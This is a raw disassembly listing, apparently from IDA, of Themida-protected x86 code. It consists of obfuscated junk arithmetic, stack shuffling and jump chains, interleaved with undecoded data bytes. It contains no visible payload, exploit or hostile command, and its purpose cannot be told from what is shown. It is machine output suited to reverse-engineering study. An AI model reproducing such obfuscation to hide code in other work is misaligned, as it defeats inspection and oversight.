		db 0FFh
; ---------------------------------------------------------------------------


loc_59FC0D:				; CODE XREF: Themida_:005A5C2Aj
		pop	esi
		push	esi
		mov	esi, 266B7103h
		xor	esi, 59945855h
		add	esi, 1
		push	ebp
		mov	ebp, 0F2A65394h
		add	esi, ebp
		pop	ebp
		add	edi, 1C8403BFh
		add	edi, esi
		sub	edi, 1C8403BFh
		mov	esi, [esp]
		push	edx
		jmp	loc_5A0721
; ---------------------------------------------------------------------------
		dd 5451E689h, 4C18159h,	81000000h, 4E9h, 240C8700h, 0FFF716E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59FC59:				; CODE XREF: Themida_:005937EEj
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	ebp, esi
		push	dword ptr [esp]
		jmp	loc_5A256D
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 0FFFF74DDh, 1767E953h, 44810000h, 0BED0424h
		dd 5C012EE7h, 6C810424h, 0BED0424h, 0E9512EE7h,	1ACh, 8B2434FFh
		dd 0E952241Ch, 35Ch, 4C381h, 0C3830000h, 241C8704h, 81C2815Ch
		dd 894ACD6Ah, 24148BD7h, 57E18951h, 6968B850h, 0E0D10A49h
		dd 2D05E0C1h, 925A59FCh, 0FF3887E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59FCD9:				; CODE XREF: Themida_:0059572Aj
		pop	ebp
		add	ecx, 1
		not	ecx
		shr	ecx, 7
		jmp	loc_599DF7
; ---------------------------------------------------------------------------
		db 0BAh
		dd 14BD37A1h, 4245429h,	0FFA051E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59FCF5:				; CODE XREF: Themida_:0059BE3Dj
		mov	edx, [esp]
		add	esp, 4
		push	eax
		push	0C21h
		mov	[esp], esp
		push	esi
		mov	esi, 4
		jmp	loc_59235E
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFF953Ah, 4D09CD81h, 0F581426Eh, 6266C4C5h, 815DEF01h
		dd 325A4DEFh, 0F8315B22h, 0E92434FFh, 0FFFFDB07h, 815BDE31h
		dd 8610C9E9h, 68C1816Bh, 17C746Eh, 0BA5255F1h, 57081E00h
		dd 148BD589h, 4C48124h,	0E9000000h, 0FFFF4227h,	2BAh, 4EC8100h
		dd 89000000h, 0B6BB241Ch, 532DBD6Fh, 0E92404FFh, 0FFFF3AB7h
; ---------------------------------------------------------------------------


loc_59FD7C:				; CODE XREF: Themida_:005994D9j
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59F6A9
; ---------------------------------------------------------------------------


loc_59FD85:				; CODE XREF: Themida_:005930BAj
		pop	edi
		sub	ebp, edx
		push	ecx
		mov	ecx, 47D976EFh
		sub	ebp, ecx
		jmp	loc_59C42D
; ---------------------------------------------------------------------------
		db 58h,	83h, 0C0h
		dd 0F7E0D101h, 6FD605D0h, 0C28934C2h, 8124048Bh, 4C4h
		dd 3E95E900h, 0D601FFFFh, 0AFAEE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FDBA:				; CODE XREF: Themida_:00594574j
		mov	[esp], ecx
		jmp	loc_59C803
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 89515C24h, 0E18BE9E1h, 0FB01FFFFh, 241C875Fh, 2404305Ch
		dd 2192E99Ch, 0C781FFFFh, 1B967FB5h, 2193C781h,	0CF812A1Ah
		dd 476D2E08h, 8103EFC1h, 0B1F42FEFh, 5FFB2952h,	0B265E957h
		dd 0EF81FFFFh, 553A39A6h, 2434FF5Dh, 81242C8Bh,	4C4h, 4C48300h
		dd 0FFA0D0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59FE1D:				; CODE XREF: Themida_:0059DA18j
		pop	edx
		push	ebx
		pop	edx
		pop	ebx
		xchg	edi, edx
		neg	edi
		xchg	edi, edx
		push	172Ah
		jmp	loc_5A0AAE
; ---------------------------------------------------------------------------
		db 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_595EF2
; ---------------------------------------------------------------------------
		dw 75BEh
		dd 13F0E20h, 0E95F5EF1h, 1ECBh,	0B130BEB9h, 244C2900h
		dd 44815908h, 4BEB0424h, 0FBE92479h, 0C1FFFF68h, 0E8E905E6h
		dd 52000019h, 0FF5BF5E9h, 97B252FFh, 6AB75366h,	0B2EA80h
		dd 0B2C280FAh, 0FFA52BE9h, 240C89FFh, 0E70877B9h, 81E1D15Ch
		dd 433B96E1h, 0E1814161h, 58486D61h, 81E28952h,	4C2h, 4EA8300h
		dd 179DE9h
		db 0
; ---------------------------------------------------------------------------


loc_59FEA9:				; CODE XREF: Themida_:005A52A2j
		sub	edi, 7FB73794h
		jmp	loc_59C186
; ---------------------------------------------------------------------------


loc_59FEB4:				; CODE XREF: Themida_:005952B6j
		sub	bl, 9Ch
		sub	bl, 0D3h
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	415Ah
		mov	[esp], eax
		jmp	loc_591F70
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 7Ch
		dd 89BED03Ch, 0C1815FF9h, 4F080C0Bh, 0FFA459E9h, 24248BFFh
		dd 242CD366h, 2082E99Ch, 248BFFFFh, 0C670E924h,	0C581FFFFh
		dd 4, 0B82CE951h, 0BD55FFFFh, 1AFC5B8Ah, 52F9CD81h, 0ED81298Fh
		dd 883B7CBCh, 415DE931h, 6887B850h, 0DE95A19h, 83FFFFE8h
		dd 0CCE904C4h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FF2B:				; CODE XREF: Themida_:005959D7j
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 38D0015Bh
		shl	ecx, 6
		xor	ecx, 340056C4h
		jmp	loc_597407
; ---------------------------------------------------------------------------


loc_59FF48:				; CODE XREF: Themida_:005A4FA9j
		add	eax, 9C7D2E9Dh
		sub	ebp, eax
		pop	eax
		sub	ebp, 6C0C00B4h
		jmp	loc_597996
; ---------------------------------------------------------------------------
		db 81h
		dd 7D486DEAh, 5AD7291Ch, 0FF6ABDE9h, 1DF280FFh,	76E9D000h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59FF73:				; CODE XREF: Themida_:0059D4F4j
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A0453
; ---------------------------------------------------------------------------


loc_59FF84:				; CODE XREF: Themida_:0059A402j
		push	dword ptr [esp]
		pop	eax
		push	5EE2h
		jmp	loc_5925ED
; ---------------------------------------------------------------------------
aYnwswp		db 'YNWéWp',0
		align 2
		dw 0E95Bh
		dd 0C4Dh, 148BD531h, 4C48124h, 0E9000000h, 55E5h, 39E7C681h
		dd 72E912C3h, 8BFFFF8Fh, 0C4832434h, 0C75DE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FFC6:				; CODE XREF: Themida_:0059971Aj
		mov	ebx, 4
		jmp	loc_59AAE1
; ---------------------------------------------------------------------------
		dd 1F82C981h, 0D9F7358Fh, 0E956D1F7h, 0FFFF25B8h
; ---------------------------------------------------------------------------


loc_59FFE0:				; CODE XREF: Themida_:00593E0Ej
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_59BE7E
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 9C2404D3h, 0FF1F77E9h, 4EC83FFh, 0E9241C89h
		dd 1166h, 64E9E289h, 0C1FFFFC4h, 0E8C104E8h, 2C43504h
		dd 0C78900D8h, 323CE9h,	94E95C00h, 31FFFFE8h, 4332404h
		dd 24248B24h, 52240C89h, 6273C168h, 0E2815A6Bh,	3B277503h
		dd 4A61EA81h, 0D189C77Fh, 0D7B9515Ah, 552FA83Fh, 3F6D90BDh
		dd 5DEB2932h, 6CE9CB01h, 5EFFFF8Eh, 4B8ABD55h, 0E8016DB2h
		dd 8F6E9h, 0C8B6600h, 35ACE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0072:				; CODE XREF: Themida_:005A5988j
		dec	esi
		or	esi, 432B4877h
		jmp	loc_59481E
; ---------------------------------------------------------------------------
		dw 8158h
		dd 4C6h, 24348700h, 0BD55505Ch,	44B03B19h, 2EB8504Dh, 0E95D0B0Ch
		dd 0FFFF65A0h
; ---------------------------------------------------------------------------


loc_5A009C:				; CODE XREF: Themida_:00596F62j
		mov	edi, esp
		push	4595h
		jmp	loc_59E38E
; ---------------------------------------------------------------------------


loc_5A00A8:				; CODE XREF: Themida_:00597A84j
		push	ecx
		jmp	loc_598D97
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 83B70E4h, 6F06F781h,	0FE896900h, 9810BD5Fh, 0B951C53Fh
		dd 63EF7D2Ch, 56BB5341h, 8141DA2Bh, 0EE63DCE3h,	0E3814316h
		dd 4EAF6F20h, 7952CB81h, 0F5E922B8h, 4FFFF4Ch, 240C8BFEh
		dd 4C481h, 7BE90000h, 8BFFFF32h, 0C4812414h, 4,	11F8B850h
		dd 3635053Fh, 0E90CBF1Ah, 6004h
; ---------------------------------------------------------------------------


loc_5A0110:				; CODE XREF: Themida_:0059A889j
		mov	esi, edx
		pop	edx
		push	edx
		mov	edx, 584D7713h
		jmp	loc_5A50F4
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0C4E9241Ch, 89000059h, 5A8DE9E3h, 0EDC1FFFFh, 968E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0136:				; CODE XREF: Themida_:005981D7j
		xchg	edx, [esp]
		dec	edx
		xchg	edx, [esp]
		jmp	loc_59487A
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 81000000h, 0B76F13C2h, 0E9C20176h, 2E47h, 23BA5253h
		dd 553FFB46h, 0FBEBF57h, 0B7BD46DFh, 0E97E6F3Eh, 0FFFF25B9h
; ---------------------------------------------------------------------------


loc_5A016C:				; CODE XREF: Themida_:005A5847j
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		push	71E0h
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_596579
; ---------------------------------------------------------------------------


loc_5A0187:				; CODE XREF: Themida_:005A163Bj
		pop	eax
		xor	ebx, edx
		pop	edx
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5A6711
; ---------------------------------------------------------------------------


loc_5A019C:				; CODE XREF: Themida_:005A5EFAj
		add	edi, 1DFB1016h
		pop	ebp
		sub	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebp, [esp]
		jmp	loc_59C95F
; ---------------------------------------------------------------------------


loc_5A01B6:				; CODE XREF: Themida_:00596E0Aj
		pop	esi
		sub	eax, 0FFFFFFFFh
		push	ebp
		mov	ebp, 7DF3416Dh
		add	ebp, 547A946Fh
		xor	eax, ebp
		pop	ebp
		mov	ecx, eax
		mov	eax, [esp]
		jmp	loc_59706B
; ---------------------------------------------------------------------------


loc_5A01D5:				; CODE XREF: Themida_:0059CDD0j
		sub	[esp+4], esi
		sub	dword ptr [esp+4], 15F221EFh
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_5A4389
; ---------------------------------------------------------------------------


loc_5A01EC:				; CODE XREF: Themida_:0059643Aj
		mov	edi, 3633475Fh
		push	1EA6h
		jmp	loc_59A66E
; ---------------------------------------------------------------------------
		db 81h
		dd 824A16EAh, 81CA292Fh, 824A16C2h, 240C8B2Fh, 0FF6789E9h
		dd 57E957FFh, 0ADFFFFD8h, 95868h, 24148900h, 4B59F3BAh
		dd 92409263h, 815E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A022D:				; CODE XREF: Themida_:0059327Ej
		mov	[esp], edi
		pop	ebp
		pop	edi
		push	eax
		push	esi
		mov	esi, 607C7EB8h
		mov	eax, esi
		pop	esi
		push	ebx
		jmp	loc_59E8BF
; ---------------------------------------------------------------------------
		dw 81ADh
		dd 4ECh, 554CE900h, 4BD0000h, 1000000h,	5D04246Ch, 0FFF80CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A025D:				; CODE XREF: Themida_:0059F0D2j
		mov	eax, 1E696C0Dh
		shl	eax, 3
		dec	eax
		jmp	loc_5A592D
; ---------------------------------------------------------------------------
		db 8Fh
		dd 5FE92404h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0273:				; CODE XREF: Themida_:0059CEA7j
		xchg	ebp, [esp]
		jmp	loc_5A58EB
; ---------------------------------------------------------------------------
		db 87h
		dd 248B240Ch, 0E12DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0286:				; CODE XREF: Themida_:005A4A04j
		push	edi
		mov	edi, 708D5661h
		shl	edi, 4
		or	edi, 60EA6027h
		xor	edi, 4F710551h
		jmp	loc_59C991
; ---------------------------------------------------------------------------


loc_5A02A0:				; CODE XREF: Themida_:0059A822j
		xchg	edx, [esp]
		mov	esp, [esp]


loc_5A02A6:				; CODE XREF: Themida_:00595CE1j
		push	6FD4h
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_59C0C6
; ---------------------------------------------------------------------------
		db 1, 0FBh, 8Bh
		dd 8EE9243Ch, 80FFFFDBh, 42E942EAh
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A02C7:				; CODE XREF: Themida_:00594F1Aj
		sub	al, 55h
		sub	bh, 62h
		jmp	loc_5A03D3
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 93h
		dd 0C1FFFFA2h, 50504E8h, 0E9568AC9h, 3131h, 8B2434FFh
		dd 0C4812414h, 4, 81E28952h, 4C2h, 796AE900h, 0C147FFFFh
		dd 0EF8107E7h, 40A27FEFh, 2CBAC781h, 0FD89C97Ah, 8BE8315Fh
		dd 0C481242Ch, 4, 4EC81h, 1C890000h, 7DD8BB24h,	0F02D616Fh
		dd 29566A3Eh, 3EF005D8h, 8FE9566Ah, 8BFFFF34h, 0C892424h
		dd 2C296824h, 2D597D63h, 530A18D2h, 0FF7E39E9h,	4C381FFh
		dd 81000000h, 4C3h, 241C8700h, 57BB535Ch, 899A2D73h, 4B76E9DAh
		dd 30B9FFFFh, 873AA571h, 0E7E8E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A037A:				; CODE XREF: Themida_:005943B0j
		add	edx, 9D530C7h
		jmp	loc_59A0CA
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 51h
		dd 4B9h, 59CA0100h, 26857h, 3C8B0000h, 4C48324h, 3C8BFA01h
		dd 11646824h, 2C890000h, 81E58924h, 4C5h, 11426800h, 0DBE90000h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A03BB:				; CODE XREF: Themida_:005A4089j
		xor	edi, 4665DEA8h
		jmp	loc_59B036
; ---------------------------------------------------------------------------


loc_5A03C6:				; CODE XREF: Themida_:00594FF2j
		add	eax, 27AF3962h
		pop	edi
		shl	eax, 1
		jmp	loc_59266D
; ---------------------------------------------------------------------------


loc_5A03D3:				; CODE XREF: Themida_:005A02CCj
		sub	bh, al
		add	bh, 62h
		pop	eax
		xor	bh, 0ABh
		and	bh, 0CAh
		shl	bh, 7
		shr	bh, 6
		push	eax
		mov	al, 0B5h
		or	al, 0ACh
		and	al, 32h
		not	al
		sub	al, 2Eh
		add	bh, 0F2h
		sub	bh, al
		sub	bh, 0F2h
		pop	eax
		xor	al, bh
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	cl, 0EFh
		push	ebx
		mov	bl, 36h
		sub	cl, bl
		pop	ebx
		jmp	loc_595223
; ---------------------------------------------------------------------------
		dd 55240C8Bh, 49DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A0419:				; CODE XREF: Themida_:0059C5D8j
		add	ebp, ecx
		pop	ecx
		jmp	loc_5A5970
; ---------------------------------------------------------------------------


loc_5A0421:				; CODE XREF: Themida_:00598185j
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_59C7E3
; ---------------------------------------------------------------------------
		db 81h
		dd 4EAh, 12E8E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A043A:				; CODE XREF: Themida_:005994CAj
		push	ecx
		push	edx
		push	22353A01h
		pop	edx
		push	esi
		jmp	loc_59A196
; ---------------------------------------------------------------------------
		dd 4C481h, 0A3E90000h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0453:				; CODE XREF: Themida_:0059FF7Fj
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 0Ah, 1Bh
		dd 2DBAFFFFh, 0C12C9110h, 0EAC103E2h, 5B685307h, 8900003Ch
		dd 0D9BE2434h, 56063D2Dh, 3D2DD9BEh, 4EC8306h, 0FF51DBE9h
		dd 3C895CFFh, 306824h, 3C8B2212h, 4C48124h, 0E9000000h
		dd 0FFFF4B72h
; ---------------------------------------------------------------------------


loc_5A04A4:				; CODE XREF: Themida_:005A654Dj
		mov	edi, 13552B0Eh
		xor	edi, 8912014h
		sub	ecx, edi
		pop	edi
		jmp	loc_5A5616
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9532404h, 0FFFF6CFAh, 5E240489h, 109C68h, 24348900h
		dd 0E924048Bh, 0FFFF382Fh, 0EFD1E7D1h, 4517EF81h, 814F1F35h
		dd 0A1781DE7h, 0DBB532Ch, 29CA29DAh, 0C1815BDFh, 1C021203h
		dd 0E981F901h, 1C021203h, 83243C8Bh, 0E98104C4h, 7FA269FFh
		dd 54CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A050D:				; CODE XREF: Themida_:0059E41Ej
		mov	eax, 4
		push	14DDh
		mov	[esp], esi
		mov	esi, 75A13094h
		sub	esi, 60542884h
		shl	esi, 2
		sub	esi, offset byte_4B09FB
		add	ecx, esi
		pop	esi
		add	ecx, eax
		sub	ecx, 54E91645h
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5993ED
; ---------------------------------------------------------------------------
		dw 0D6F7h
		dd 3DE9F187h, 0BDFFFF71h, 296C7F36h, 7310CD81h,	81452827h
		dd 3B6AFBC5h, 46E58123h, 810B2967h, 176184EDh, 0B2468AFh
		dd 34890000h, 3E77E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0576:				; CODE XREF: Themida_:005A080Ej
		pop	esi
		push	52BCh
		mov	[esp], ebp
		push	ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_59C5B1
; ---------------------------------------------------------------------------
		db 1, 0EEh, 5Dh
aQNwsgj		db 'Q¹Ì\­WéGJ',0
		dw 5B00h
		dd 88E28852h, 0E9585AD7h, 0FFFF5CAAh, 805EC380h, 6E963EBh
		db 58h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A05AF:				; CODE XREF: Themida_:005A099Dj
		mov	ebx, [esp]
		add	esp, 4
		push	7FDCh
		jmp	loc_5994BF
; ---------------------------------------------------------------------------


loc_5A05C2:				; CODE XREF: Themida_:0059F4F4j
		add	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A6EE2
; ---------------------------------------------------------------------------
		db 52h
		dd 0C2815A54h, 4, 4C281h, 14870000h, 0D0015C24h, 9974E95Ah
		dd 405FFFFh, 5000000h, 4, 2474FF50h, 24048B04h,	81E68956h
		dd 4C6h, 4C68100h, 87000000h, 8F5C2434h, 248B2404h, 42376824h
		dd 34890000h, 20478F24h, 0E92434FFh, 0FFFFCDF8h
; ---------------------------------------------------------------------------


loc_5A063C:				; CODE XREF: Themida_:005A54A3j
		push	ecx
		jmp	loc_595036
; ---------------------------------------------------------------------------
		dw 895Bh
		dd 0FA11E9F1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A064A:				; CODE XREF: Themida_:0059A2DFj
		push	edx
		jmp	loc_59D1FB
; ---------------------------------------------------------------------------
aWs		db 'Wé',0Ah
		db '^',0
		align 2
		dw 0B050h
		dd 3E0C0C1h, 0E50C4F24h, 0E953732Ch, 0E17h, 3E685356h
		dd 5B76577Eh, 80C38143h, 5529D32Dh, 2101E9h, 47BB5300h
		dd 814D2E58h, 0B0176E3h, 0F5C3816Ah, 0E9204571h, 286h
		dd 895BD931h, 2434FFCEh, 592434FFh, 0FFD645E9h,	243C89FFh
		dd 0FFD5CAE9h, 80DBF6FFh, 8851EFEBh, 0EF8853DDh, 595BFE88h
		dd 28CB2C5Bh, 0B35366F0h, 2C9DE9CBh, 0B951FFFFh, 4, 4244481h
		dd 558D7495h, 4244C01h,	4246C81h, 558D7495h, 241C8B59h
		dd 0FFA897E9h, 4C181FFh, 81000000h, 4E9h, 240C3300h, 0E9240C31h
		dd 0FFFF45C0h
; ---------------------------------------------------------------------------


loc_5A0704:				; CODE XREF: Themida_:0059BF3Aj
		pop	esp
		push	eax
		jmp	loc_59F28E
; ---------------------------------------------------------------------------


loc_5A070B:				; CODE XREF: Themida_:005A70F0j
		xor	ebx, [esp]
		xor	[esp], ebx
		push	5EACh
		mov	[esp], ebx
		xchg	ebp, [esp]
		jmp	loc_5A1795
; ---------------------------------------------------------------------------


loc_5A0721:				; CODE XREF: Themida_:0059FC3Bj
		mov	edx, esp
		jmp	loc_59AD08
; ---------------------------------------------------------------------------


loc_5A0728:				; CODE XREF: Themida_:005A2D27j
		or	dh, 6
		neg	dh
		or	dh, 73h
		jmp	loc_59AD2B
; ---------------------------------------------------------------------------


loc_5A0735:				; CODE XREF: Themida_:00599B09j
		add	eax, 479B056Dh
		neg	eax
		not	eax
		jmp	loc_5A07FB
; ---------------------------------------------------------------------------
		db 0B9h
		dd 0F663B3Dh, 5034C681h, 0CE0138F0h, 0FF58ADE9h, 0EC8359FFh
		dd 243C8904h, 0C1E9E789h, 0F7FFFF1Ch, 0A7C581D5h, 81504E4Bh
		dd 0A0ED37EDh, 0E9E801A8h, 1005h, 24048F54h, 0FF7CBFE9h
		dd 51BD55FFh, 815F4B0Eh, 335A17C5h, 0F5ED8176h,	817A447Ch
		dd 0C61491C5h, 5DE801A4h, 0FFA80AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A07A1:				; CODE XREF: Themida_:005A680Fj
		mov	[esp], ebx
		jmp	loc_5A47A8
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 53h
		dd 0B722ABBh, 5BDE312Eh, 0E95EF701h, 0FFFFD923h
; ---------------------------------------------------------------------------


loc_5A07BC:				; CODE XREF: Themida_:0059213Bj
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		shr	ecx, 2
		jmp	loc_59AA44
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 52h
		dd 4A167E69h, 4207E2C1h, 0C281DAF7h, 9305085h, 1569E9h
		dd 4EC8100h, 89000000h,	8E9242Ch
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A07F3:				; CODE XREF: Themida_:0059876Ej
		mov	esp, [esp]
		jmp	loc_59F459
; ---------------------------------------------------------------------------


loc_5A07FB:				; CODE XREF: Themida_:005A073Ej
		add	eax, 53B9841Fh
		sub	ebx, eax
		pop	eax
		pop	ebp
		sub	ebx, eax
		push	esi
		mov	esi, 5E3D298Ah
		sub	ebx, esi
		jmp	loc_5A0576
; ---------------------------------------------------------------------------
		db 66h
		dd 8124048Bh, 4ECh, 242C8900h, 0FFD839E9h, 87C280FFh, 0E13E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A082D:				; CODE XREF: Themida_:005A2AB1j
		pop	esp
		push	ebx
		mov	ebx, 44920F6Bh
		xor	edx, ebx
		jmp	loc_5A4369
; ---------------------------------------------------------------------------
		db 1
		dd 2434FFEBh, 0FF7F05E9h, 28F64FFh, 0FF1723E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A084D:				; CODE XREF: Themida_:005A433Fj
		add	al, dh
		jmp	loc_593D6F
; ---------------------------------------------------------------------------
		dd 4BF2C5Ch, 0E9E80098h, 0FFFF9959h, 567AEF81h,	0BD55780Bh
		dd 0AA81196h, 0EAF58145h, 0C17D6B0Eh, 9DE904E5h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A087B:				; CODE XREF: Themida_:005A2726j
		push	5C1Bh
		jmp	loc_59757C
; ---------------------------------------------------------------------------


loc_5A0885:				; CODE XREF: Themida_:0059F11Ej
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_59B366
; ---------------------------------------------------------------------------


loc_5A088D:				; CODE XREF: Themida_:00596F16j
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_59C2CB
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 985D18EAh, 34FF5F2Ch, 44BFE924h, 0DEF7FFFFh,	4EC81h
		dd 4890000h, 3805E924h,	0E589FFFFh, 4C581h, 0C5810000h
		dd 4, 5C242C87h, 0C62BBE2Dh, 110B0579h,	0D801316Fh, 6F110B2Dh
		dd 2BBE0531h, 0B95179C6h, 6C966FC1h, 0FF521BE9h, 0B60F66FFh
		dd 41F568C8h, 3C890000h, 0E9E78924h, 0FFFFB2F5h
; ---------------------------------------------------------------------------


loc_5A08FC:				; CODE XREF: Themida_:005A36DEj
		add	eax, 4B871BFBh
		push	edi
		mov	edi, 211E1551h
		add	eax, edi
		pop	edi
		jmp	loc_5A1219
; ---------------------------------------------------------------------------
		db 52h
		dd 0EC0644BAh, 4605E928h, 0DF29FFFFh, 0D755E95Bh, 0E95FFFFFh
		dd 0FFFFF82Ch
; ---------------------------------------------------------------------------


loc_5A0928:				; CODE XREF: Themida_:005A41DCj
		push	eax
		mov	eax, 4FDE698Ch
		jmp	loc_5969C1
; ---------------------------------------------------------------------------


loc_5A0933:				; CODE XREF: Themida_:00592F18j
		push	edi
		push	7D1613FAh
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 0CA54BCEh
		push	ebp
		mov	ebp, 48755E9h
		and	ebx, ebp
		pop	ebp
		inc	ebx
		sub	ebx, 0E8CB087Ch
		xor	edi, ebx
		jmp	loc_598269
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483242Ch, 2625E904h, 0C8BFFFFh, 4C48124h, 57000000h
		dd 2BFh, 0F450E900h, 0E801FFFFh, 0FF3EAAE9h, 0A0E780FFh
		dd 0FF7041E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A098D:				; CODE XREF: Themida_:0059D5B6j
		mov	ebx, 7D773291h
		sub	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	eax, ebx
		jmp	loc_5A05AF
; ---------------------------------------------------------------------------
		dd offset dword_4DE2E8+6280h
		dw 8900h
		dd 0B050240Ch, 0C7004CAh, 0E9C8FE93h, 999h, 0E954535Bh
		dd 0FFFFE29Fh, 0E7895753h, 3EC2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A09C9:				; CODE XREF: Themida_:005A645Bj
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_5A603E
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 14E414A9h, 12A4E681h, 0EE812411h, 5627469Eh,	4EF8CE81h
		dd 0F6810CA9h, 2D0E0EC3h, 85ADF681h, 0F0019251h, 2DE8295Eh
		dd 12A64594h, 0DCB9515Dh, 0E925CA27h, 0FFFFA064h, 0FFC0B60Fh
		dd 2C818734h, 31094524h, 2434FF53h, 49E86858h, 14890000h
		dd 0F1AE924h, 0CA810000h, 60C7527Ch, 3866EA81h,	0BE561FFDh
		dd 0C66F0A99h, 0FFD1C2E9h, 0F7D1F7FFh, 13B968D9h, 14890000h
		dd 2F28E924h, 0C4B9FFFFh, 891BB811h, 0EA8159CAh, 2379233Dh
		dd 7EA2EA81h, 81426F75h, 0A940ECF2h, 5AD601A7h,	24343358h
		dd 33243431h, 248B2434h, 2424D224h, 0DEE99Ch, 0EDD10000h
		dd 8107E5C1h, 0EB5604C5h, 3F10E920h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0AAE:				; CODE XREF: Themida_:0059FE2Cj
		mov	[esp], ebp
		jmp	loc_5995DC
; ---------------------------------------------------------------------------
		dw 0FF52h
		dd 5A042474h, 5C24048Fh, 0BD242C89h, 233E11D6h,	0FF3848E9h
		dd 48B66FFh, 2C48124h, 80000000h, 0D708EFF2h, 195685Ah
		dd 0E1E90000h, 89FFFF3Eh, 0E9532414h, 0FFFF7F9Ch, 0E813D405h
		dd 2DD0010Dh, 0DE813D4h, 564AE95Ah, 0C483FFFFh,	61D96804h
		dd 3C890000h, 3BE1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0B12:				; CODE XREF: Themida_:0059B713j
		shr	ebx, 4
		sub	ebx, 0D28C9982h
		xor	ecx, ebx
		pop	ebx
		not	ecx
		jmp	loc_5A36A5
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
aLHH		db '‹$$h+H',0
		align 10h
		dd 68241489h, 236Ch, 89240489h,	0BBD55E0h, 8114F620h, 0F62007EDh
		dd 5DE80114h, 42Dh, 24048700h, 240C895Ch, 67001AB9h, 0F3E95378h
		dd 5CFFFFD7h, 0FFCA96E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A0B69:				; CODE XREF: Themida_:0059E529j
		and	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		shr	ebp, 7
		jmp	loc_59631B
; ---------------------------------------------------------------------------
